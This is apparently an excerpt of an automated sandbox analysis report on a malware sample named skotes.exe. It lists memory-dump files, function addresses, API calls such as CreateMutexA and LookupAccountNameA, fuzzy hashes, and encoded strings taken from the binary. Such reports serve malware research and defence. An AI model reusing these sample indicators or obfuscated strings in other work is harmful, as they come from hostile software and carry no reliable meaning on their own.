Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b6c9c018fecef06bd6172c596e58d08bb1cbc668dd8e8b95994f66fc16ed0c05
Instruction ID: 176f4b201dedad6fc89b30275a384a8117d9d910cfb99bf8b34ed5235cab35d8
Opcode Fuzzy Hash: b6c9c018fecef06bd6172c596e58d08bb1cbc668dd8e8b95994f66fc16ed0c05
Instruction Fuzzy Hash: 40213731B082009BFF18AB68ECDDB7CB7A2EFC5310F24421AE418972D1DB755A808B12

Function 0018A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b40955e79ca8c30f76ee7ea8cd649c841810c8f042c67fdaa0c829521b0ffa04
Instruction ID: 99346f757d75c3d50d5886908a4856cd4594face8b0f44e733884cff02f3335a
Opcode Fuzzy Hash: b40955e79ca8c30f76ee7ea8cd649c841810c8f042c67fdaa0c829521b0ffa04
Instruction Fuzzy Hash: E9214B307482019BFB2477AC98AEB3DB3519F92301F640917E248962C1DB759B818B63

Function 0018A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a9727d4494fee8dfc7433efb32ad5fb3b817993237571b11265cdafd37ba130c
Instruction ID: 03c6084d5e983079a900e59fe45120eb57a300ca2d68d3757523142684310e2a
Opcode Fuzzy Hash: a9727d4494fee8dfc7433efb32ad5fb3b817993237571b11265cdafd37ba130c
Instruction Fuzzy Hash: 7C214931B042009BFB18AB68EC9D76CB7A2EFD5310F64461AE418D76D1DB755A808B52

Non-executed Functions

Function 001BCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001BCC66

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 2f7aa7655357a8c40e60c4854a0e7245e54688fccf9920d2028e666080f48b36
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: F9B11132A042869FDB15CF68C881BEEBFA5EF65340F15816AE855EB242D734DD01CBE0

Function 00182EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00182F5F
__Mtx_unlock.LIBCPMT ref: 00182FCC
__Mtx_unlock.LIBCPMT ref: 001830F5
__Mtx_unlock.LIBCPMT ref: 0018319B

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 029333b481e8b6f91fc761ae288998e08806bb81842bf51d6cc824351c7ac83b
Instruction ID: 7dcedb3c9697eed300da0e2db6372226f403a43c9274472ff0bd59af0d31a3e5
Opcode Fuzzy Hash: 029333b481e8b6f91fc761ae288998e08806bb81842bf51d6cc824351c7ac83b
Instruction Fuzzy Hash: 4AA1B0B0A052059FDF11EF64C948B5AB7A8FF25B14F088129E825D7281EB35EB05CBD1

Analysis Process: skotes.exePID: 1908, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	781
Total number of Limit Nodes:	48

Executed Functions

Function 0018E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GnNoc2Hc, xrefs: 0018E56C
#, xrefs: 00190624
WTs=, xrefs: 001905CA
9c9aa5, xrefs: 0018FB8E
111, xrefs: 0018F7A0
WDw=, xrefs: 0018F71D, 0018F9FA
UA==, xrefs: 0018EB0F, 0018ED56
WTw=, xrefs: 0019097D
MGE+, xrefs: 0018E821
246122658369, xrefs: 0018F737, 0018FA14, 001905E7, 0019099A
MQ==, xrefs: 0018E592

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 68c45edd9dca213bc665f824131435350d01dc689248c57d170e1841bbf3f613
Instruction ID: dabb034b8eb8132cc11c3ccab4ce713647eb72ebc661d83445e722378ab16c0d
Opcode Fuzzy Hash: 68c45edd9dca213bc665f824131435350d01dc689248c57d170e1841bbf3f613
Instruction Fuzzy Hash: 4E82D0709042889BEF15EF68C9597DE7FB6AF16304F608188E805673C2D7759B88CBD2

Function 001865E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00186680

Strings

GSTmfV==, xrefs: 00186728
ISNmfV==, xrefs: 001867D1
RySfdMLx, xrefs: 0018669C

Memory Dump Source

